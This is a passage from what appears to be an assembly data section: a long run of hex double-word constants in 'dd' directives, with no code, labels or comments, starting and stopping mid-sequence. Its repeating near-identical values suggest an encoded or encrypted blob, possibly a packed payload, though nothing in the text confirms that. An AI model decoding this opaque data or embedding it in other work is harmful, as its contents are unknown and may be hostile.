7F575F90h, 13F32192h, 21900346h, 0E0880CBh dd 23BCDAh, 17DEB6D3h, 0CFB91FAEh, 289C59DDh, 0A1C1367Fh dd 57C81648h, 8772D58Bh, 0F088EC37h, 4A577EB5h, 22C21FA7h dd 825D296Fh, 0AACAA26Bh, 0F07AD3CFh, 0C0358D46h, 0CB9CE85Dh dd 0CD797313h, 2DCF1B00h, 5DF0BAEAh, 4A71237Ah, 29CDEA69h dd 90277226h, 350E3D2Eh, 722DBE03h, 6A81143Eh, 0F157D5BDh dd 60DFD8D1h, 0AD2B0574h, 3153623Dh, 740729C2h, 11B774C8h dd 78844A26h, 0F431A2B6h, 0A43CF9FDh, 13C3B092h, 8FE65FFEh dd 9E2360Bh, 0AAAF0D5Bh, 9DF7E43h, 0F90DCB8Eh, 0D4B133D9h dd 45640159h, 6F829366h, 0F24AAE3Bh, 80909C01h, 0EC12E7A9h dd 0C23D8757h, 83E5BF38h, 0FB525B23h, 70E1D52Ch, 172FECF4h dd 77D14114h, 59F8DB54h, 0BD272A50h, 7488424Dh, 5227CD33h dd 81C15F63h, 0A4DCCEB9h, 8AFED7A5h, 6C627A4Dh, 18466221h dd 701F7C99h, 6F9249Fh, 0ECD5F31h, 0A865EDAFh, 4B2BFADAh dd 1080F390h, 0A0D87033h, 2FDF0EA3h, 0B9B55A86h, 57D54F0Dh dd 0E817C3BDh, 89B23BD9h, 176D0F05h, 2FDD7C6h, 0D002D601h dd 0C5A62A38h, 0EA72DBB6h, 822C734Ah, 0EDB59F67h, 0C645BA5Dh dd 14125E42h, 1139B2E3h, 59993F6Bh, 7858FF6Ah, 0F36E2563h dd 2CC0F0Eh, 6967D77Ah, 0BE2E3018h, 0F014FF87h, 0DEC69789h dd 3F2B056Eh, 9C4A6F77h, 3B5D3EC7h, 0FBF267D6h, 65CD4C33h dd 6E2BBDDFh, 0DD76FDDAh, 6CED8CCDh, 91E95E28h, 16F83F8Dh dd 0EBFA0D29h, 60991415h, 0E845DFF4h, 0C0AE21BAh, 3464E0D9h dd 0E39E1Fh, 0D6084506h, 8FFFB73Ah, 0CC53F7A3h, 9E085E66h dd 0E2B1A927h, 0D853FC5Ah, 326C8056h, 1F27A5A8h, 59736469h dd 7FD1E079h, 0D854606Ah, 0CF6083Dh, 6C80D77Ah, 0D43C2C0Ah dd 37ECA6FDh, 0C1CE9EB0h, 8D2C4D72h, 0D4E7737h, 267F63D9h dd 0E0F669DAh, 96CB172Fh, 3335A581h, 1B65EF87h, 30EB93F4h dd 8FF84417h, 12F97614h, 0FEE644A7h, 0ED24EFAh, 0CC28948Bh dd 0E7910FBAh, 26DE89Fh, 0AE68288h, 80510355h, 9CCFB670h dd 0F64659C2h, 99076E66h dd 0FDB1796Ch, 870A6D5Dh, 7610A36h, 0AC8BBE2h, 4427037Ch dd 1B04B16Eh, 8C964938h, 54987D46h, 6D83837Bh, 91B03A3Eh dd 2970BFC9h, 0F1CFB4DEh, 0C32C4758h, 4C5F6924h, 0D0006BE7h dd 8290099Dh, 0DBC94813h, 0F233BFDFh, 0CD6AF222h, 7FDAA3DDh dd 96ED8306h, 14F91116h, 0F7FA2DEBh, 51B1D43Eh, 0C4080C50h dd 0D6A4B17Ah, 3760E45Eh, 5BE58704h, 8D60521Eh, 0E9BADA00h dd 0D64440E2h, 0BD24726Dh, 0B06A6366h, 0E68A1924h, 3C52981Dh dd 1DCAB4E6h, 0F7B757Dh, 6E68C135h, 0A9EA6941h, 2FF8606Fh dd 8FBEE704h, 0AD2220Bh, 75D4EE85h, 0E9C38A82h, 0D73D7B78h dd 4C577531h, 0D21D6DCBh, 0C0F3526Dh, 98C95DD9h, 0BE22804Dh dd 76FECB4h, 0DA5DEF1h, 8ED8BE4Dh, 1DB1F2Ah, 0F5FC2EE8h dd 1EDEBD7Fh, 0FD165B6Dh, 0CAAF2C40h, 5B07884Eh, 29E491A5h dd 0C72B5C5Eh, 0C147C60Ah, 0CA3E45F8h, 0C214533Dh, 0C2291447h dd 0CC44B24Ch, 32651A3Ch, 14CABFF3h, 13464627h, 403BFA35h dd 0B4D36360h, 10C17171h, 0EFCB9D79h, 0EE4F6B09h, 2E6AB5CAh dd 0FDCE95B1h, 865233DFh, 7D047A61h, 0D8176EC9h, 0E0FF0D2Ch dd 0FB8E309Dh, 5546392Dh, 0D3560B14h, 20F90DECh, 93EAB378h dd 5EA5323h, 0E8EC5BEDh, 48E8B964h, 0E44BD34Dh, 0D6C0FF09h dd 0EABE7D5h, 5F71961Dh, 933D1A1Bh, 0A6379960h, 801561CBh dd 0AD280026h, 90CE055Dh, 8486BD18h, 0C35BA772h, 0E184ECD3h dd 426B716Ah, 4A448514h, 0FFCB4245h, 1FFD492Ah, 703B846h dd 1226F5Ah, 1A939678h, 0D1E2FD36h, 0DC786D37h, 5B5D7823h dd 0B50079D9h, 0BFFF0753h, 5FCD7788h, 781D32D6h, 1A2322B3h dd 6DA5C8DAh, 95E6C11Ch, 4FA00B28h, 9BA33EBFh, 2CCE8F53h dd 0BFAEEB17h, 9CC0684Ch, 53A2B5C0h, 49A1C5ADh, 0FA650103h dd 9511EE63h, 0E5371FCDh, 0CCD90746h, 0FCDFCC3Ch, 0AF630070h dd 0A4573335h, 28C6A4F5h, 492F086Ch, 9D76FD6Ch, 0E7E7625Bh dd 0C7DE6068h, 73078E73h, 85AA0653h, 567DFE43h, 9CF9E1Eh dd 0DF086096h, 55536C34h, 0B70075E3h, 8CF32B3Fh, 67DE95B8h dd 0F12922C0h, 0AF7CBA29h, 2DEA1CD4h, 85FFBC71h, 6F3F10Eh dd 0C7E462FDh, 5E82C61h, 0F6E71B31h, 0D4E2A0F1h, 721EF40h dd 0B70850Ah, 0F3104055h, 0AA59DC27h, 0BC0F3DDBh, 0D2BB246Ch dd 286BF447h, 0EADC6147h, 6B768A2Bh, 0B9D6BF8Ah, 51271838h dd 9C7EE669h, 0B1813D0Ah, 0F03D6B7Ah, 0FA66887Eh, 0AE31D3Fh dd 77F1E835h, 5B9099D5h, 9C3C5205h, 0BF4C6A34h, 0FC1C7BF5h dd 0C7F3403Bh, 0AF7F337h, 0B535C902h, 4960F1A1h, 27ED88A6h dd 82EDA934h, 40FAEE3Bh, 0B2EC3B80h, 0CDC7932h, 0E4CD4D20h dd 9E272FD5h, 76CF150h, 5BB2D89Dh, 0D13A475Eh, 0D815A93Ch dd 0BBE523FEh, 0BCC8C671h, 6F65D821h, 4A40B24Ch, 257C1C58h dd 6781EC9Dh, 706C6B72h, 8834AF78h, 0CBA30D25h, 971E7158h dd 0A90A9B09h, 86327515h, 627CF013h, 589098B6h, 827D4AD9h dd 0C834688Dh, 86067DD4h, 36EC0266h, 229FC133h, 7127CB42h dd 8025DF2Eh, 22E2CBEFh, 84F12067h, 9BABB72h, 0CB87E485h dd 8C36D5Bh, 0A9818D10h, 8448EDBDh, 6CAEB95h, 8B88B12h dd 0CAE13731h, 896ECE6Eh, 0D68B37A9h, 95E5DA54h, 50F4B266h dd 1BCCBD1Ah, 0C87B8111h, 65CCB791h, 0B5222E61h, 80428F17h dd 8D45463h, 0FC4D255Eh, 2EABCD57h, 66B20BDh, 7CE3F40Ch dd 79A0DEBCh, 0FD082ACAh, 0C473203Ah, 854078A9h, 3CABB81Ch dd 9B9A6C13h, 7865E5DEh, 1A265EAEh, 66E94BBFh, 92BED161h dd 60B09B54h, 5BA6015Fh, 6C2C3948h, 9C51CB24h, 58E2BB0Bh dd 5ACB82F0h, 6F1F9AA0h, 4EBFD6C4h, 0DE0A5B4Eh, 0E0B119C2h dd 0FD947CFCh, 0F8DF3108h, 1C3435B5h, 62ED9088h, 0DEAFBF42h dd 75822CCh, 0D129CF15h, 844CF8C1h, 326C0557h, 10E29EDCh dd 0F7C220F0h, 919EDF1h, 6EAA80ABh, 0A6585AFFh, 0D03E11D4h dd 0F4723816h, 2E9BEC41h, 9BBF3438h, 8D45F7CEh, 0E30306D8h dd 538043E7h, 0F19BDE63h, 70B15024h, 0B458BD44h, 7C2EAAD2h dd 9C551B27h, 0B715B896h, 4AA4F2B2h, 6F418EE9h, 0A0FC5859h dd 0CFF22C9Dh, 0E1A107EEh, 104BE061h, 0F41F626Ah, 4B4605Ah dd 9A139CE5h, 0B8AEA2FDh, 435A386Dh, 492DFC87h, 5B4B74ADh dd 21C76C4h, 0D0829F2Eh, 778220D2h, 899ED19h, 6FAA80B8h dd 0A4585ADDh, 0CC3E1160h, 0EC72396Eh, 3E9BEB41h, 0FBBF3728h dd 0CD45F4FEh, 63030555h, 53804116h, 0F19BDA82h, 70B1584Ah dd 0B458AD2Ah, 7C2E8A3Ah, 9C555BECh, 0B7143856h, 4AA5F212h dd 6F438F89h, 0A0F85E59h, 0CFFA202Ch, 0E1D11FEEh, 102B9061h dd 0F45F026Ah, 535A04Ah, 9B131C15h, 0BAADA598h, 5F5C387Dh dd 5121FC77h, 4B43745Dh, 620C7624h, 90A29FDEh, 0F6422022h dd 819EDE8h, 6CAA8049h, 9A585A33h, 0C83E118Ch, 0E4723986h dd 4E9BEBA1h, 0DBBF37F8h, 0D45F44Eh, 0E3030424h, 53804716h dd 0F19BD67Dh, 70B14058h, 0B458DD2Eh, 7C2EEAAAh, 9C549BDCh dd 0B714B836h, 4AA6F35Dh, 6F458809h, 0A0F45C82h, 0CFE22488h dd 0E1C1174Ah, 100B80BAh, 0F59F226Ah, 5B5E0BAh, 98109CDBh dd 0A4ACA598h, 5B5E387Dh, 5925FC77h, 3B5B745Dh, 423C7685h dd 5F429F6Fh, 76022092h, 0B99ED59h, 6DAA80C7h, 98585A80h dd 0C43E1139h, 1C72393Fh, 5E9BEB20h, 3BBF3729h, 4D45F53Ch dd 63030315h, 53804550h, 0F19BD2CDh, 70B148FFh, 0B458CDD2h dd 7C2ECA0Ah, 9C54DBCCh, 0B7173806h, 4AA7F392h, 6F478989h dd 0A0F05259h, 0CFEA382Ch, 0E1F1EFEEh, 11EBB061h, 0F5D8C26Ah dd 635204Ah, 99101CE8h, 9586FDDAh, 47504B2Fh, 31398F14h dd 3B53073Dh, 0B22C0552h, 0F62ECB5h, 0E6C25351h, 1B199E85h dd 6C6997Dh, 8E58652Fh, 99702DA5h, 47726E9Ah, 2BD4D6ACh dd 0BBF608Eh, 9D4586AFh, 0CFC8EB9h, 43803883h, 0E19BBD1Dh dd 60B1432Eh, 0A4588EB4h, 6C2F5960h, 8C5468DEh, 0A717CA94h dd 5AA09F30h, 7F49F96Bh, 0B0EC233Bh, 0DFD24F4Eh, 0F1E1948Ch dd 1CBD303h, 0E5189108h, 16B51328h, 0F611EF77h, 0B0AAD6FAh dd 43524B1Fh, 0C6C270EAh, 0B6B073Fh, 82DC8C1Bh, 0CF02ECBDh dd 66825341h, 18999E85h, 73BAF306h, 8C482947h, 0EC2E62F2h dd 1C624ACCh, 6EAB99A3h, 6B8F450Ah, 0DD55815Fh, 731372D6h dd 43903A92h, 0E18BB90Ch, 60A14B30h, 0A4489F58h, 6C3F0768h dd 8C4414DEh, 0A70672A4h, 5AE1AF60h, 7FCB186Bh, 0B068E5BBh dd 0DF5AC3CEh, 0F28E8C0Ch, 1152383h, 0E624F188h, 17C2D3A8h dd 0F7026FF7h, 0B28AD6F9h, 0BF974B1Ch, 21B28F17h, 1C60073Ch dd 0F44C0555h, 8BA2EC3Dh, 0E9C253C1h, 2A999E04h, 50A0F31Dh dd 42522953h, 683462D4h, 147A4ACCh, 9E939888h, 4BB74510h dd 1D4D8123h, 0F30B7345h, 43883D7Ah, 0E193BAF3h, 60B948EAh dd 0A4509CC4h, 6C270578h, 8CD4107Eh, 0A7967A54h, 5A21BE30h dd 7F4D476Dh, 0B0EEA73Dh, 0DFDD4748h, 0F20B8488h, 1933307h dd 0E6A4D10Ch, 174E932Ch, 0F76AEF73h, 0B2ECD6FEh, 0BFD24B1Bh dd 20318F10h, 1D7F073Bh, 0F6F80552h, 9742EC3Dh, 0F18253C1h dd 3D999E94h, 31AAF317h, 582959h, 0E43E62DEh, 2C724AC5h dd 8E9B9881h, 0ABBF4506h, 5D458137h, 73037355h, 43803D61h dd 0E19BBADAh, 60B148A4h, 0A4589D40h, 6C2F0288h, 8C5412EEh dd 0A7167EF4h, 5AA1B6F0h, 7F4B56EBh, 0B0E9793Bh, 0DFDB3B4Eh dd 0F20C3C8Ch, 1960303h dd 0E6A23108h, 174E5328h, 0F7666F77h, 0B2C7D6FAh, 0BE084B1Fh dd 20898F14h, 1EF3073Fh, 0F7EC0556h, 95E2ECBDh, 0FDC25341h dd 45199E84h, 26AAF317h, 0E6582959h, 0A03E62DFh, 0A4724AC5h dd 0BE9B98BEh, 8BBF4507h, 9D458131h, 0F3037359h, 43803D59h dd 0E19BBAC9h, 60B14886h, 0A4589D04h, 6C2F0300h, 8C541D1Eh dd 0A7167D14h, 5AA1B530h, 7F4B556Bh, 0B0E97B3Bh, 0DFDB3F4Eh dd 0F20C348Ch, 1961303h, 0E6A21108h, 174E1328h, 0F767EF77h dd 0B2C6D6FAh, 0BE0A4B1Fh, 208D8F14h, 1E8B073Fh, 0F79C0556h dd 9582ECBDh, 0FD825341h, 44999E84h, 37AA63C0h, 0F458BD5Eh dd 0AC3EF6D8h, 0AC72DEC2h, 0BE9B0869h, 0FBBFD5D0h, 0CD4511E6h dd 6303E38Eh, 5380A95Fh, 0F19B3794h, 70B1C553h, 0B4580DCFh dd 7C2F93CFh, 9C548DD9h, 0B716E933h, 4AA138BBh, 6F4BC0ECh dd 0A0E9E93Ch, 0CFDBA749h, 0E20CB88Bh, 1196F29Ah, 0F6A2FE6Bh dd 74F41F9h, 0E767FB70h, 0A2C542FDh, 0AE0CD830h, 30811B13h dd 0E83885Ch, 0E78C9151h, 85A278BAh, 0EC42DC22h, 286CF0ACh dd 24AADA7Bh, 0DA780979h, 981E42FFh, 94526AE5h, 0FEBBB89Eh dd 0EB9F6527h, 3D65A111h, 0D3235378h, 63A01D78h, 0D1AB8AB7h dd 508178AAh, 9468AD2Ch, 5C1F3320h, 0BC642D0Eh, 97264D64h dd 6A918480h, 4F7B635Bh, 0B0E97F0Bh, 0DFDB374Eh, 0F20C248Ch dd 1967302h, 0E6A2510Ah, 0F74F9328h, 17660F76h, 52C036F9h dd 5E08AB1Ah, 0C08D6F13h, 0FE91E736h, 17B0E55Dh, 744C0CB0h dd 1C12B34Eh, 0A78B7E95h, 0C5BE1304h, 184EC94Ch, 542682C8h dd 2C68AADCh, 2E8778A5h, 0CBA1A51Ah, 0BD65612Fh, 93219379h dd 0A3A4DD74h, 1BD5A93h, 8099A8BBh, 44727D39h, 8C03E303h dd 6C7AFD03h, 47269D5Bh, 0BA9354C1h, 9F7FB2D8h, 50DF910Eh dd 3FE3CB79h, 1236BCB5h, 0E1AAA338h, 69D5135h, 0F70FB317h dd 17268F36h, 528736B9h, 5E46AB5Ah, 0C0D16F53h, 0FED9E776h dd 17E0E51Dh, 742C0CF0h, 1C92B30Eh, 0A74B7ED5h, 0FAFE1344h dd 1E0EC90Ch, 50668288h, 2428AA9Ch, 1EC778E5h, 0EBE1A55Ah dd 7D25616Fh, 13619339h, 0A3E4DD34h, 1FD5AD0h, 80D9A8F9h dd 44327D7Dh, 8C43E34Bh, 6C3AFD33h, 47669CFBh, 0BAD35341h dd 9F3FB118h, 509F934Eh, 3FA3CF39h, 1276B4F5h, 0E1EAB378h dd 6DD7175h, 0F7CFF357h, 17E70FF6h, 52463679h, 5E84AB9Ah dd 0C0156F93h, 0FE21E7B6h, 8D0E5DDh, 748C0C30h, 1C12B3CEh dd 0A60B7E15h, 0FB3E1384h, 1CCEC9CCh, 0ACA68248h, 3CE8AA5Ch dd 0E077825h, 8B21A59Ah, 3DE561AFh, 93A193F9h, 0A324DDF5h dd 13D5A11h, 8019A837h, 44F27D81h, 8C83E393h, 6CFAFDE3h dd 47A69C1Bh, 0BA1353C1h, 9FFFB058h, 505F958Eh, 3F63C3F9h dd 12B6AC35h, 0E12D43B8h, 61D11B5h, 0F78C3397h, 17A78FB6h dd 52053639h, 5EC2ABDAh, 0C0596FD3h, 0FE69E7F6h, 880E59Dh dd 74EC0C70h, 1F92B38Eh, 0A6CB7E55h, 0F87E13C4h, 128EC98Ch dd 0A8E68208h, 34A8AA1Ch, 0FE477865h, 0AB61A5D9h, 0FDA561EFh dd 13E193BEh, 0A364DDB5h, 17D5A56h, 8059A875h, 44B27DC5h dd 8CC3E3DBh, 6CBAFD93h, 47E69C3Bh, 0BA535241h, 9FBFBF98h dd 501F97CEh, 3F23C7B9h, 12F6A475h, 0E16D53F8h, 65D31F5h dd 174C73D7h, 0F70CEF5Fh, 0B2ACD68Fh, 0BE2F4B73h, 20958F14h dd 2D89360Fh, 0DF4A3062h, 0F6A3D585h, 99673722h, 7BA8AE84h dd 2F9FC724h, 0B161116Eh, 17A219Dh, 0EC724A83h, 0E9B98BEh dd 0EB9B4504h, 5D458130h, 335A735Fh, 43803D55h, 0A15832B2h dd 60B14894h, 0E5CF4AA4h, 5BCF8348h, 0CF15DE17h, 121312E3h dd 1C320A45h, 9674A71Eh, 0FDD12638h, 26EBC67Ch, 0A88E0BC4h dd 7EE23C3Fh, 93B67ED5h, 174C5328h, 0B6F5B8F3h, 0B2CFD6FAh dd 81E84B1Fh, 20A98F14h, 1EB3073Fh, 0DB5E3466h, 0A3D4D989h dd 0BD836A79h, 0F5CDAC7h, 2C9BC317h, 0C06D1D6Ah, 21075AE8h dd 811629A7h, 70D298D8h, 0E5D64542h, 0DC0B8156h, 926D7311h dd 43803D3Bh, 0F19B14F9h, 70B1E6F5h, 0B458331Bh, 7C2FAD23h dd 9C54B2B4h, 0B716CD77h, 4AA11F06h, 6F4BF308h, 0A0E9C558h dd 0CFDB711Fh, 0D22159ACh, 6CE3F677h, 92C27F61h, 1D2B7D41h dd 900A9C77h, 92A2B794h, 0DB6E4B3Ch, 4EC4E266h, 7122735Eh dd 8D6E2538h, 0E7E799CCh, 91EB5335h, 21F5FFF2h, 6BD9D373h dd 93395B36h, 3F5F42BAh, 8F012FA6h, 5AF5F1BEh, 9ECD3761h dd 0B22CF540h, 1D6A7331h, 2AEC5C22h, 99FE9AD4h, 14C42A0Dh dd 0C134F959h, 8406C78h, 0FE3504EBh, 0CA7E675Dh, 39C8A515h dd 0D38F9CBh, 0D1E99F54h, 0ABAABC2Ch, 0F20A6C8Ch, 19DE303h dd 0E6AB7108h, 175DD328h, 0F7436F47h, 0B30DF8FAh, 0BE9C4B1Fh dd 23A18F14h, 0E043073Fh, 0EC0C0549h, 9CA2ECBDh, 8E425341h dd 68199E84h, 0DCAAF317h, 4A582958h, 583E62DFh, 0F4724ACAh dd 5E9B98BCh, 0CBBF4500h, 1D458138h, 0F303736Eh, 43803D34h dd 0E19BBB7Fh, 60B14EEAh, 0A458993Ch, 6C2F0B50h, 8C540CBEh dd 0A7160354h, 5AA1F0B0h, 7F4ADB6Bh, 0B0EA6F3Bh, 0DFD9D74Eh dd 0F208648Ch, 199F303h, 0E6B35108h, 176D9328h, 0F4A0EF77h dd 0B34CD6FAh, 0BD1E4B1Fh, 22A58F14h, 0E25B073Fh, 0E03C0549h dd 6342ECBDh, 9E025346h, 8B999E84h, 9DAAF310h, 93037202h dd 0F653983h, 0C721190h, 4E9B98BAh, 2BBF450Ch, 5D458103h dd 7303737Eh, 43803D13h, 0E19BBB3Eh, 60B14F6Ch, 0A4589730h dd 6C2F1768h, 8C57F4AEh, 0A7163374h, 5AA210F0h, 7F4A1AEBh dd 0B0EAE13Bh, 0DFDECB4Eh, 0F2069C8Ch, 185C30Bh, 0E684B118h dd 177D5308h, 0F4806F37h, 0B38BD67Ah, 0BD904A1Fh, 2DB98D14h dd 0E453033Fh, 0E42C0549h, 6B62ECBDh, 0B7515666h, 0AB199E84h dd 52AAF310h, 4E582958h, 403F6730h, 14734F18h, 6E9A9D00h dd 1BBE40A8h, 9D45810Bh, 0F303730Eh, 43803CF3h, 0E19BB4FDh dd 60B14CEEh, 0A4589534h, 6C2F1360h, 8C57FCDEh, 0A7162294h dd 5AA24F30h, 7F4A596Bh, 0B0EB633Bh, 0DFDFCF4Eh, 0F204948Ch dd 181D303h, 0E68C9108h, 178D1328h, 0F4E1EF77h, 0B3CAD6FAh dd 0BC124B1Fh, 2CBD8F14h, 0E66B073Fh, 0D8DC0549h, 7302ECBDh dd 0BE825346h, 0CA999E84h, 13AAF310h, 0CC582959h, 6C3E62D9h dd 0C72BB41h, 7E9B693Fh, 7BBFB4FCh, 0CD45709Bh, 63038296h dd 5380CD5Ah, 0F19B45D4h, 60B14D60h, 0A45892C8h, 6C2F1178h dd 8C57F8CEh, 0A7162AB4h, 5AA25F70h, 7F4A78EBh, 0B0EB253Bh dd 0DFDC434Eh, 0F2058C8Ch, 1832B01h, 0E688F109h, 79A22FCh dd 0E4D19EA2h, 0AC29272Eh, 0AC54BACBh, 3F317EC0h, 0F763F6EBh dd 0CACCF4FDh, 7F22ECBDh, 41425346h, 0DA199E84h, 0F0AAF310h dd 8258295Bh, 0E83E62D9h, 14724ACEh, 9E9B98B7h, 4BBF4572h dd 1D45811Fh, 0F3037B27h, 43803CC0h, 0F19B446Bh, 70B1BC62h dd 0B45863BCh, 7C2FEF80h, 9C57140Eh, 0B71620F4h, 4AA29CB0h dd 7F4DA76Bh, 0B0EBE73Bh, 0DFDCC74Eh, 0F202848Ch, 18D3303h dd 0E694D108h, 17A29328h, 0F43EEF77h, 0BC08D6FAh, 0BC964B1Fh dd 3FB57E54h, 0F87BF6B3h, 0CCFCF491h, 7BC2ECBDh, 49025346h dd 0ED999E84h, 0D1AAF310h, 4058295Bh, 643E62D9h, 2C724ACEh dd 8E9B98B4h, 0ABBF4570h, 5D45811Bh, 7303732Dh, 43803CB1h dd 0E19BB57Ah, 60B152E4h, 0A45890C0h, 6C2F1C88h, 8C57E6EEh dd 0A716D6F4h, 5AA266F0h, 7F4DB6EBh, 0B0EBB93Bh, 0DFDCBB4Eh dd 0F2033C8Ch, 18C0303h dd 0E6963108h, 17A65328h, 0F4366F77h, 0BC67D6FAh, 0BCC84B1Fh dd 2E098F14h, 0E9F3073Fh, 0DDEC0549h, 79E2ECBDh, 55C25346h dd 0F5199E84h, 0C6AAF310h, 2658295Bh, 203E62D9h, 0A4724ACEh dd 0BE9B98B5h, 8BBF4571h, 9D4580E5h, 0F3037D31h, 438020A9h dd 0E19A4D69h, 60B162C6h, 0A45B7084h, 6C2FDD00h, 8C57611Eh dd 0A711D514h, 5AAC6530h, 7F51B56Bh, 0B0E3BB3Bh, 0DFCCBF4Eh dd 0F223348Ch, 14C1303h, 0E6161108h, 18A61328h, 0F237EF77h dd 0B866D6FAh, 0B4CA4B1Fh, 1E0D8F14h, 0C98B073Fh, 1D9C0549h dd 0F982ECBDh, 55825346h, 0F4999E87h, 0C7AAF312h, 2458295Fh dd 3C3E62D1h, 0BC724ABEh, 0AE9B9955h, 0EBBF4AB1h, 0DD458365h dd 73037F31h, 438024A8h, 0E19A4568h, 60B172D8h, 0A45B5098h dd 6C2F9D18h, 8C56E10Eh, 0A710D534h, 5AAE6570h, 7F55B4EBh dd 0B0DBBD3Bh, 0DF3CB34Eh, 0F2432C8Ch, 10C6303h, 0E7967108h dd 19A7D328h, 0F0376F77h, 8465D6FAh, 0ACCC4B1Fh, 0E018F14h dd 0A983073Fh, 5D8C0549h, 79A2ECBDh, 54425347h, 0F4199E86h dd 0C4AAF31Ch, 3A582923h, 383E62C9h, 0B4724AAEh, 0DE9B9975h dd 0CBBF4AF1h, 1D4582E5h, 0F3037930h, 438028A8h, 0E19A5D57h dd 60B182DAh, 0A45B309Ch, 6C285D10h, 8C56613Eh, 0A713D554h dd 5AA864B0h, 7F59B36Bh, 0B0D3BF3Bh, 0DF2CB74Eh, 0F263248Ch dd 1ECC7303h, 0E7165108h, 1AA79328h, 0FE34EF77h, 8064D6FAh dd 0A4CE4B1Fh, 0FE058F14h, 899B073Fh, 9DBC0549h, 0F842ECBEh dd 54025347h, 0F7999E81h, 0C5AAF31Eh, 38582927h, 343E62C1h dd 0CC724A9Eh, 0CE9B9915h, 2BBF4B31h, 5D459D64h, 73037B30h dd 43802CA7h, 0E19A5556h, 60B192DCh, 0A45B1090h, 6C281D28h dd 8C59E12Eh, 0A712D574h, 5AAA64F0h, 7F5DB2EBh, 0B0CBB13Bh dd 0DF1CAB4Eh, 0F2835C8Ch, 1E8C4303h, 0E097B108h, 1BA75328h dd 0FC346F77h, 8C63D6FAh, 9CC04B1Fh, 0EE198F14h, 6993073Fh dd 0DDAC0549h, 7862ECBEh, 54C25344h, 0F7199E80h, 0BAAAF318h dd 3E58292Bh, 303E6339h, 0C4724C8Eh, 0FE9B9535h, 0BBF5371h dd 9D45ECE4h, 0F3032530h, 4381D0A7h, 0E19AED55h, 60B2A2DEh dd 0A45DF094h, 6C24DD20h, 8C41615Eh, 0A73DD494h, 5B746330h dd 7EE1B16Bh, 0B043B33Bh, 0DC0CAF4Eh, 0ECA3548Ch, 1A4C5303h dd 0E8179108h, 6CA71328h, 0DA35EF77h, 4862D6FAh, 14C24B1Eh dd 0DE1D8F14h, 49AB0720h, 1E5C054Bh, 0F802ECBAh, 5482534Ch dd 0F6999EB3h, 0BBAAF37Ah, 3C5828EFh, 0CC3E64B1h, 0DC724F7Fh dd 0EE9B96D5h, 6BBF50B1h, 0DD45EF64h, 73032730h, 4381D4A6h dd 0E19AE554h, 60B2B2D0h, 0A45DD0A8h, 6C249D38h, 8C40E14Eh dd 0A73CD4B4h, 5B766370h, 7EE5B0EBh, 0B03BB53Bh, 0DC7CA34Eh dd 0ECC34C8Ch, 1A0FA303h, 0E997F108h, 6DA4D328h, 0D8356F77h dd 5461D6FAh, 0CC44B1Eh, 0CE118F14h, 29A30720h, 5E4C054Bh dd 7822ECBAh, 5742534Dh, 0F6199EB2h, 0B8AAF364h, 325828F3h dd 0C83E64A9h, 0D4724F6Fh, 1E9B96F5h, 4BBF50FEh, 1D45EEE4h dd 0F3032137h, 4381D8A6h, 0E19AFD53h, 60B2C2D2h, 0A45DB0ACh dd 6C255D30h, 8C40617Eh, 0A73FD4D4h, 5B7062B0h, 7EE9BF6Bh dd 0B033B73Bh, 0DC6CA74Eh, 0ECE3448Ch, 1BCFB303h, 0E917D108h dd 6EA49328h, 0C632EF77h, 5060D6FAh, 4C64B1Eh, 41EA70EBh dd 0C9BB0725h, 9E7C0540h, 38C2ECA6h, 57025349h, 39999E3Bh dd 0B9AAF362h, 0F058287Ah, 0C43E64A9h, 2C724FD1h, 0E9B969Dh dd 6BBF51B1h, 5D45E96Ch, 0B30323A7h, 4381DCADh, 219AF5C3h dd 60B2D2DCh, 645D9032h, 6C251D40h, 4C43E1FDh, 0A73ED4FCh dd 5B7262F0h, 7EEDBEEBh, 0B02BA93Bh, 0DC5D5B4Eh, 0ED037C8Ch dd 1B8F8303h, 0EA973108h, 6FA45728h, 0C4326F77h, 5C6FD6FAh dd 7CD84B1Eh, 0AE298F14h, 0E9B30720h, 0DE6C054Ah, 78E2ECBBh dd 57C25372h, 0F9199EACh, 0BEAAF360h, 365828FBh, 0C03E6499h dd 0E4724F4Fh, 3E9B96B5h, 8BBF517Eh, 9D45E8E4h, 0F3032D37h dd 4381C0A5h, 0E19A8D51h, 60B2E2D6h, 0A45C70A4h, 6C25DD40h dd 8C43609Eh, 0A739DB14h, 5B7C6130h, 7EF1BD6Bh, 0B023AB3Bh dd 0DC4D5F4Eh, 0ED23748Ch, 1B4F9303h, 0EA171108h, 70A41328h dd 0C233EF77h, 586ED6FAh, 74DA4B1Eh, 9E2D8F14h, 0C94B0720h dd 1E1C054Ah, 0F882ECBBh, 57825372h, 0F8999EAFh, 0BFAAF362h dd 345828FFh, 0DC3E6491h, 0EC72A81Fh, 2E9B9755h, 0EBBF56BEh dd 0DD45EB64h, 73032F37h, 4381C4A4h, 0E19A8550h, 60B2F2A8h dd 0A45C50B8h, 6C259D58h, 8C42E08Eh, 0A738DB34h, 5B7E6170h dd 7EF5BCEBh, 0B01BAD3Bh, 0DDBD534Eh, 0ED436C8Ch, 1B0FE303h dd 0EB977108h, 71A5D328h, 0C0336F77h, 246DD6FAh, 6CDC4B1Eh dd 8E218F14h, 0A9430720h, 5E0C054Ah, 78A2ECBBh, 56425373h dd 0F8199EAEh, 0BCAAF36Ch, 0A5828C3h, 0D83E6489h, 0F4724F2Fh dd 5E9B9775h, 0CBBF56FEh, 1D45EAE4h, 0F3032936h, 4381C8A4h dd 0E19A9D5Fh, 60B302AAh, 0A45C30BCh, 6C265D50h, 8C4260BEh dd 0A73BDB54h, 5B7860B0h, 7EF9BB6Bh, 0B013AF3Bh, 0DDAD574Eh dd 0ED63648Ch, 18CFF303h, 0EB175108h, 72A59328h, 0CE30EF77h dd 206CD6FAh, 64DE4B1Eh, 7E258F14h, 895B0721h, 9E3C054Ah dd 0C742ECB4h, 56025373h, 0FB999EA9h, 0BDAAF36Eh, 85828C7h dd 0D43E6481h, 0C724F1Fh, 4E9B9715h, 2BBF573Eh, 5D45E567h dd 73032B36h, 4381CCA3h, 0E19A955Eh, 60B312ACh, 0A45C10B0h dd 6C261D68h, 8C45E0AEh, 0A73ADB74h, 5B7A60F0h, 7EFDBAEBh dd 0B00BA13Bh, 0DD9D4B4Eh, 0ED839C8Ch, 188FC353h, 9490B108h dd 63A5B412h, 0CC306F77h, 2C6BD6F9h, 4CD0A108h, 6E398F14h dd 69530721h, 0DE2C054Ah, 4762ECB4h, 56C25370h, 0FB199EA8h dd 0B2AAF368h, 0E5828CBh, 0D03E64F9h, 4724F0Fh, 7E9B9735h dd 0BBF577Eh, 9D45E4E7h, 0F3033536h, 4381B0A3h, 0F19A474Bh dd 60B322AEh, 0A45CF0B4h, 